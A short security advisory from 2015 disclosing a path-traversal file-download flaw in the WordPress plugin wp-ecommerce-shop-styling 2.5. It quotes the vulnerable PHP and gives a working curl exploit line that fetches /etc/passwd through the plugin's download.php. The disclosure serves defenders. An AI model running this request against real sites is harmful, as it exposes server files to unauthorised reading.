WordPress WP-Ecommerce-Shop-Styling 2.5 File Download

`Title: Remote file download vulnerability in wordpress plugin wp-ecommerce-shop-styling v2.5  
Author: Larry W. Cashdollar, @_larry0  
Date: 2015-07-05  
Download Site: https://wordpress.org/plugins/wp-ecommerce-shop-styling  
Vendor: https://profiles.wordpress.org/haet/  
Vendor Notified: 2015-07-05, fixed in version 2.6.  
Vendor Contact: http://wpshopstyling.com  
Description: Customize your WP ecommerce store with HTML mail templates, message content, transaction results and PDF invoices with WYSIWYG editor and placeholders.  
Vulnerability:  
The code in ./wp-ecommerce-shop-styling/includes/download.php doesn't sanitize user input to prevent sensitive system files from being downloaded.  
  
  
1 <?php  
2 require_once("../../../../wp-admin/admin.php");  
3   
4 header('Content-disposition: attachment; filename='.$_GET['filename']);  
5 header('Content-type: application/pdf');  
6 readfile(HAET_INVOICE_PATH.$_GET['filename']);  
7 ?>  
  
You'll have to rename the download file via mv -- -..-..-..-..-..-..-..-..-etc-passwd passwd as the filename is set to the download filename with path.  
  
CVEID: Requested TBD   
OSVDB: TBD  
  
Exploit Code:  
• $ curl http://www.example.com/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename=../../../../../../../../../etc/passwd  
  
  
`